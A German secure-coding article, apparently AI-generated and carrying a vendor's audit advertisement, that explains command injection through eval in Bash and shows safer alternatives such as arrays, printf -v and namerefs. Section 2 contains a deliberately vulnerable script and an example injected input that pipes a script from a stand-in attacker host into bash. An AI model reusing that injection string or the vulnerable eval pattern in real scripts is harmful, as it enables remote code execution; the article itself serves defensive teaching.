Gefahren von eval in Bash erkennen und vermeiden
AI generated
$_
#!/
Bash · Security · Command Injection
Gefahren von eval in Bash erkennen und vermeiden
von Command Injection zu sicheren Alternativen

eval in Bash wertet zusammengesetzte Strings ein zweites Mal als Shell Befehl aus, und genau darin liegt das Problem: jede ungeprüfte Eingabe, die in diesen String einfließt, kann beliebige Befehle einschleusen. Dieser Artikel zeigt konkrete Angriffsszenarien mit eval und stellt sichere Alternativen wie Arrays, Namerefs und printf minus v vor, mit denen dieselbe Dynamik ohne Command Injection erreicht wird.

18 Min. Lesezeit eval · Command Injection · Namerefs · Whitelisting Bash 4.x · 5.x · Linux

1. Was eval in Bash macht und warum es gefährlich ist

eval ist ein Bash Builtin, das seine Argumente zu einem einzigen String verbindet und diesen String anschließend ein zweites Mal von der Shell parsen und ausführen lässt. Genau diese doppelte Auswertung macht eval in Bash so mächtig und gleichzeitig so riskant: Der String kann Variablen, Kommandosubstitutionen und Kontrollzeichen enthalten, die beim ersten Durchlauf noch harmlos aussehen, beim zweiten Durchlauf aber als vollwertiger Shell Code interpretiert werden. Wer eval einsetzt, verlässt damit den normalen, vorhersehbaren Ausführungspfad einer Shell und öffnet eine zweite Interpretationsebene, auf der Quoting Regeln und Escaping sich anders verhalten als erwartet.

Das grundlegende Sicherheitsproblem von eval in Bash ist immer dasselbe: Sobald auch nur ein Teil des eval Arguments aus einer Quelle stammt, die ein Angreifer beeinflussen kann, wird aus einer harmlosen Funktion eine Command Injection Schwachstelle. Diese Quelle kann eine Kommandozeilenoption sein, eine Umgebungsvariable, der Inhalt einer Konfigurationsdatei oder eine Antwort einer HTTP API. Für die Sicherheit eines Skripts spielt es keine Rolle, wie unwahrscheinlich ein bösartiger Wert erscheint, denn eval macht jede Eingabe potenziell zu ausführbarem Code.

In der Praxis begegnet man eval häufig in älteren Skripten, die dynamische Variablenzuweisungen, generische Optionsparser oder generische Konfigurationslader realisieren wollten, bevor Bash modernere Mechanismen wie Namerefs bereitstellte. Genau diese historisch gewachsenen Stellen sind heute die häufigste Quelle für Command Injection über eval in produktiven Bash Skripten.

2. Command Injection durch eval: ein konkretes Angriffsszenario

Um die Gefahr von eval in Bash greifbar zu machen, hilft ein konkretes Beispiel mehr als jede abstrakte Warnung. Angenommen ein Wartungsskript nimmt einen Servernamen als Parameter entgegen und baut daraus dynamisch einen Befehl, den es anschließend mit eval ausführt. Solange der Servername ein gewöhnlicher Hostname ist, funktioniert das Skript wie erwartet. Sobald der Servername jedoch ein Semikolon oder eine Kommandosubstitution enthält, wertet eval diesen zusätzlichen Teil als eigenständigen Befehl aus, und zwar mit denselben Rechten wie das Skript selbst.

Das folgende Beispiel zeigt genau diesen Fehler und die daraus resultierende Command Injection über eval.


#!/usr/bin/env bash
# VULNERABLE: eval builds a command from unvalidated input
set -euo pipefail

server="$1"
cmd="ping -c 1 $server"

# The attacker controls $server, so eval executes anything appended here
eval "$cmd"

# Example malicious input:
#   ./check.sh "example.com; curl attacker.tld/steal.sh | bash"
# eval executes ping AND the injected curl-pipe-bash chain

Das Problem liegt nicht in ping, sondern darin, dass eval den zusammengesetzten String als Shell Grammatik interpretiert. Ein Semikolon, ein doppeltes kaufmännisches Und oder eine Backtick Kommandosubstitution reichen aus, damit eval zusätzlichen, vom Angreifer kontrollierten Code ausführt. Genau dieses Muster, unvalidierte Eingabe plus eval, ist die häufigste Ursache für Command Injection in Bash Automatisierung, von Wartungsskripten über Deployment Tools bis zu CI Runnern.

3. Typische Einsatzorte von eval in bestehenden Skripten

Bevor man eval aus einer Codebasis entfernen kann, muss man wissen, wo es typischerweise auftaucht. Ein sehr verbreiteter Fundort ist die dynamische Variablenzuweisung, bei der ein Variablenname zur Laufzeit aus einem Präfix und einem Index zusammengesetzt wird, etwa eval "var_$i=$value". Ein zweiter Fundort sind generische Optionsparser, die Kommandozeilenflags direkt in Variablenzuweisungen übersetzen und dafür eval nutzen, statt eine Case Struktur oder ein assoziatives Array zu verwenden.

Ein dritter, besonders heikler Fundort sind Konfigurationslader, die eine Datei im Format SCHLUESSEL=WERT zeilenweise einlesen und jede Zeile per eval ausführen, um so eine einfache Zuweisung zu erreichen. Genau hier vermischen sich Konfiguration und ausführbarer Code, und ein Angreifer, der die Konfigurationsdatei auch nur teilweise beeinflussen kann, etwa über einen Datei Upload oder eine schreibbare Netzwerkfreigabe, erhält damit Codeausführung.

Ein systematisches Grep nach eval über die gesamte Codebasis, kombiniert mit einer manuellen Prüfung jeder Fundstelle, ist der erste Schritt jeder Bash Security Härtung. Jede Fundstelle sollte danach bewertet werden, ob eine der im Folgenden gezeigten Alternativen dieselbe Funktionalität ohne die zusätzliche Interpretationsebene von eval erreichen kann.

4. Sichere Alternativen zu eval: Arrays statt String-Konkatenation

Die wichtigste Alternative zu eval in Bash ist der konsequente Verzicht auf String Konkatenation für Befehle und stattdessen die Verwendung von Arrays. Ein Array speichert jeden Befehlsbestandteil als eigenes Element, ohne dass die Shell den Inhalt ein zweites Mal parsen muss. Damit entfällt genau die Interpretationsebene, die eval für Command Injection anfällig macht, weil jedes Array Element unverändert und ungequotet an den ausführenden Befehl weitergegeben wird.

Statt einen Befehl als Zeichenkette zusammenzubauen und mit eval auszuführen, baut man ihn als Array auf und expandiert ihn mit "${cmd[@]}". Das Ergebnis ist funktional identisch zu vielen eval Anwendungsfällen, aber ohne die doppelte Auswertung.


#!/usr/bin/env bash
# SAFE: build the command as an array, never as a concatenated string
set -euo pipefail

server="$1"
declare -a cmd=(ping -c 1 -- "$server")

# No second parsing pass, no injection surface
"${cmd[@]}"

# Dynamic flags: append to the array, still no eval needed
declare -a rsync_cmd=(rsync -avz --delete)
if [[ "${DRY_RUN:-0}" -eq 1 ]]; then
  rsync_cmd+=(--dry-run)
fi
rsync_cmd+=("$source_dir/" "$target_dir/")
"${rsync_cmd[@]}"

Der entscheidende Unterschied zu eval ist, dass ein Array niemals Shell Metazeichen wie Semikolon oder Pipe innerhalb eines Elements als Steuerzeichen interpretiert. Ein Servername mit einem Semikolon wird als ein einziges, harmloses Argument an ping übergeben, nicht als zwei getrennte Befehle. Diese Eigenschaft macht Arrays zur robustesten strukturellen Verteidigung gegen die Command Injection Risiken von eval.

5. declare, printf -v und Namerefs als Ersatz für dynamische Zuweisung

Der zweite große Anwendungsfall von eval in Bash ist die dynamische Variablenzuweisung, also das Schreiben in eine Variable, deren Name erst zur Laufzeit feststeht. Auch hierfür bietet Bash sichere Alternativen, die keine zweite Auswertungsebene benötigen. printf -v varname wert weist einen berechneten Wert einer Variablen zu, deren Name selbst als String vorliegt, ganz ohne eval. Für indirekte Referenzen auf bereits existierende Variablen bietet Bash seit Version 4.3 Namerefs über declare -n beziehungsweise local -n.

Ein Nameref verhält sich wie ein Alias auf eine andere Variable und erlaubt es einer Funktion, direkt in die Variable des Aufrufers zu schreiben, ohne den Umweg über eval oder eine Subshell mit Kommandosubstitution zu nehmen. Das Ergebnis ist Code, der genauso dynamisch ist wie eval basierter Code, aber ohne dessen Injection Risiko.


#!/usr/bin/env bash
set -euo pipefail

# Dynamic assignment WITHOUT eval, using printf -v
for i in 1 2 3; do
  printf -v "config_item_$i" "value_%d" "$i"
done
echo "$config_item_2"   # value_2

# Nameref: write into the caller's variable, no eval, no subshell
set_result() {
  local -n out_ref="$1"
  out_ref="computed safely"
}
set_result my_var
echo "$my_var"           # computed safely

# Indirect read (Bash 4.3+): safer than eval "echo \$$varname"
read_indirect() {
  local -n ref="$1"
  printf '%s\n' "$ref"
}
some_value="hello"
read_indirect some_value

Wer heute noch eval für dynamische Zuweisungen verwendet, verzichtet auf diese seit Jahren verfügbaren, sichereren Bash Mechanismen. Namerefs, printf minus v und assoziative Arrays decken praktisch jeden legitimen Anwendungsfall ab, für den früher eval eingesetzt wurde, ohne die zusätzliche Angriffsfläche.

6. Wenn eval wirklich nötig ist: Absicherung durch Whitelisting

Es gibt seltene Fälle, in denen eval tatsächlich die einzige praktikable Lösung ist, etwa beim Parsen komplexer, selbst erzeugter Konfigurationsstrukturen in reinem Bash ohne externe Werkzeuge. Wenn eval in einem solchen Fall unvermeidbar bleibt, muss jede Eingabe, die in den eval String einfließt, vor der Ausführung strikt gegen eine Whitelist geprüft werden. Ein regulärer Ausdruck, der ausschließlich alphanumerische Zeichen, Unterstriche und wenige definierte Sonderzeichen zulässt, reduziert die Angriffsfläche erheblich, auch wenn er eval nicht vollständig ungefährlich macht.

Wichtig ist, die Validierung vor jedem eval Aufruf durchzuführen und bei jeder Abweichung vom erwarteten Muster das Skript sofort mit einer Fehlermeldung abzubrechen, statt die verdächtige Eingabe zu bereinigen und trotzdem weiterzumachen. Ein Bereinigungsversuch, der Sonderzeichen einfach entfernt, erzeugt häufig eine falsche Sicherheit, weil Angreifer gezielt nach Lücken in der Bereinigungslogik suchen.


#!/usr/bin/env bash
set -euo pipefail

validate_identifier() {
  local value="$1"
  # Whitelist: only letters, digits and underscore, nothing else
  if [[ ! "$value" =~ ^[A-Za-z0-9_]+$ ]]; then
    echo "[ERROR] Invalid identifier: $value" >&2
    exit 1
  fi
}

key="$1"
validate_identifier "$key"

# eval is only reached after strict whitelist validation
eval "config_${key}=\"loaded\""

Diese Absicherung ist kein Freibrief, eval leichtfertig zu verwenden. Sie reduziert das Risiko, ersetzt aber keine strukturelle Alternative wie Arrays oder Namerefs. Whitelisting sollte immer die letzte Verteidigungslinie sein, nicht die erste, wenn eval in Bash zum Einsatz kommt.

7. ShellCheck und eval: was die Analyse erkennt und was nicht

ShellCheck warnt bei eval mit der Regel SC2086 in Kombination mit unquotierten Variablen und mit spezifischen Hinweisen, sobald eval Argumente enthält, die aus Variablen zusammengesetzt sind. Diese statische Analyse ist ein guter erster Indikator, ersetzt aber keine manuelle Prüfung, weil ShellCheck nicht wissen kann, ob eine Variable letztlich aus einer vertrauenswürdigen oder einer nicht vertrauenswürdigen Quelle stammt. Ein Skript, das ShellCheck fehlerfrei durchläuft, kann trotzdem eine Command Injection Schwachstelle über eval enthalten, wenn die Datenherkunft nicht bewertet wurde.

In der Praxis empfiehlt sich, ShellCheck in der CI Pipeline mit der Option -S warning laufen zu lassen und zusätzlich ein einfaches Grep nach eval als eigenen Pipeline Schritt zu etablieren, der jeden neuen eval Aufruf im Pull Request sichtbar macht und eine bewusste Review Entscheidung erzwingt, statt eval unbemerkt in den Hauptzweig gelangen zu lassen.

8. eval in Konfigurationsparsern und Legacy-Code entschärfen

Viele bestehende Bash Codebasen enthalten historisch gewachsene Konfigurationsparser, die eval verwenden, um einfache Schlüssel Wert Paare in Variablen zu übersetzen. Diese Stellen lassen sich meist ohne Funktionsverlust durch eine Kombination aus while read, einer Case Struktur oder einem assoziativen Array ersetzen. Der Migrationspfad besteht typischerweise darin, zunächst alle eval Aufrufe im Code zu identifizieren, dann für jede Fundstelle die tatsächliche Datenquelle zu bewerten, und schließlich die eval basierte Logik schrittweise durch die im vorherigen Abschnitt gezeigten Muster zu ersetzen.

Bei sehr alten Skripten, die eval für Optionsparsing wie eval set -- "$processed_args" nutzen, lohnt sich oft eine vollständige Überarbeitung mit getopts oder einer manuellen Case basierten Schleife, weil diese Muster ohnehin robuster gegenüber unerwarteten Eingaben sind als jede eval basierte Lösung. Die Investition in diese Migration zahlt sich vor allem in Skripten aus, die mit externen oder teilweise vertrauenswürdigen Eingaben arbeiten, etwa Wartungsskripte, die von mehreren Teammitgliedern mit unterschiedlichen Parametern aufgerufen werden.

9. eval im Vergleich: unsichere Muster vs. sichere Alternativen

Die folgende Tabelle stellt die häufigsten eval basierten Muster ihren sicheren Gegenstücken gegenüber. Sie ist als praktische Checkliste für Code Reviews gedacht, bei denen eval Fundstellen bewertet werden müssen.

Aufgabe Unsicher mit eval Sichere Alternative Vorteil
Befehl dynamisch bauen eval "$cmd" cmd=(a b c); "${cmd[@]}" Keine zweite Parsing-Ebene
Dynamische Zuweisung eval "var_$i=$v" printf -v "var_$i" '%s' "$v" Kein Reparsing des Werts
Indirekter Schreibzugriff eval "$name=$val" local -n ref="$name"; ref="$val" Nameref statt Codegenerierung
Konfiguration laden while read l; do eval "$l"; done Case-basiertes Key-Value-Parsing Konfiguration bleibt Daten, kein Code
Optionsparsing eval set -- "$args" getopts oder Case-Schleife Robust gegen Sonderzeichen

In fast jeder Zeile der Tabelle erreicht die sichere Alternative dieselbe Funktionalität wie eval, ohne die zusätzliche Auswertungsebene. Wer diese Muster konsequent anwendet, kann eval in der überwiegenden Mehrheit der Fälle vollständig aus einer Bash Codebasis entfernen.

Mironsoft

Bash Security Audits und Härtung von Automatisierungsskripten

eval und andere Command Injection Risiken in eurer Automatisierung?

Wir durchsuchen eure Bash Skripte systematisch nach eval, unsicheren Eingaben und weiteren Command Injection Mustern und ersetzen sie durch geprüfte, sichere Alternativen.

eval-Audit

Alle eval-Fundstellen bewerten und priorisieren

Refactoring

Ersatz durch Arrays, Namerefs und sichere Zuweisungen

CI-Absicherung

ShellCheck und eigene eval-Checks in die Pipeline integrieren

10. Zusammenfassung

Die Gefahren von eval in Bash lassen sich auf einen einzigen Mechanismus zurückführen: die doppelte Auswertung eines zusammengesetzten Strings, die aus jeder ungeprüften Eingabe potenziellen ausführbaren Code macht. Command Injection über eval entsteht immer dann, wenn eine externe oder teilweise vertrauenswürdige Quelle in den eval String einfließt, sei es über Kommandozeilenargumente, Umgebungsvariablen oder Konfigurationsdateien. Arrays, Namerefs und printf minus v decken praktisch jeden legitimen Anwendungsfall ab, für den früher eval verwendet wurde, ohne die zusätzliche Angriffsfläche zu öffnen.

Wo eval unvermeidbar bleibt, ist strikte Whitelist Validierung vor jedem Aufruf Pflicht, nicht optional. ShellCheck hilft, eval Fundstellen sichtbar zu machen, ersetzt aber keine manuelle Bewertung der Datenherkunft. Teams, die eval systematisch aus ihrer Bash Codebasis entfernen und durch die hier gezeigten Muster ersetzen, schließen eine der häufigsten und am leichtesten ausnutzbaren Sicherheitslücken in Shell Automatisierung.

Gefahren von eval in Bash — Das Wichtigste auf einen Blick

Grundproblem

eval wertet einen String ein zweites Mal als Shell Code aus. Jede ungeprüfte Eingabe darin wird potenziell ausführbarer Code.

Strukturelle Lösung

Arrays statt String-Konkatenation für Befehle. Keine zweite Parsing-Ebene, keine Injection-Fläche.

Dynamische Zuweisung

printf -v und Namerefs (declare -n) ersetzen eval bei dynamischen Variablennamen vollständig.

Wenn eval bleibt

Strikte Whitelist-Validierung vor jedem Aufruf, ShellCheck plus manuelles Grep in der CI-Pipeline.

11. FAQ: Gefahren von eval in Bash

1Warum ist eval in Bash überhaupt gefährlich?
eval wertet einen String ein zweites Mal als Shell Befehl aus. Eine beeinflusste Eingabe darin kann als zusätzlicher Befehl ausgeführt werden.
2Reicht Quoting, um eval sicher zu machen?
Nein. Quoting schützt nur die erste Auswertungsebene, eval erzeugt aber eine zweite mit eigenen Metazeichen-Regeln.
3Beste Alternative für dynamische Befehle?
Ein Array. "${cmd[@]}" übergibt jedes Element unverändert, ohne erneutes Parsen durch die Shell.
4Ersatz für dynamische Zuweisungen?
printf -v für Werte, Namerefs (declare -n) für indirekte Schreibzugriffe. Beide ohne zweite Auswertungsebene.
5Erkennt ShellCheck alle eval-Risiken?
Nein, ShellCheck kennt die Datenherkunft nicht. Manuelles Review jeder Fundstelle bleibt notwendig.
6Ist eval manchmal wirklich nötig?
Selten, etwa beim Parsen komplexer selbst erzeugter Strukturen. Dann strikte Whitelist-Prüfung vor jedem Aufruf.
7Was ist ein Nameref?
Ein Alias auf eine andere Variable (declare -n, ab Bash 4.3). Erlaubt Schreibzugriff in die Variable des Aufrufers ohne eval.
8Wie findet man alle eval-Aufrufe?
Rekursives Grep nach eval über alle Skripte, plus manuelle Bewertung jeder Fundstelle nach Datenherkunft.
9Warum sind Konfigurationsparser mit eval riskant?
Konfiguration und ausführbarer Code vermischen sich. Wer die Datei beeinflussen kann, erhält potenziell Codeausführung.
10Erster Schritt zum Entfernen von eval?
Jede Fundstelle bewerten: Datenherkunft prüfen, dann durch Array, printf -v oder Nameref ersetzen. Whitelisting nur als letzte Option.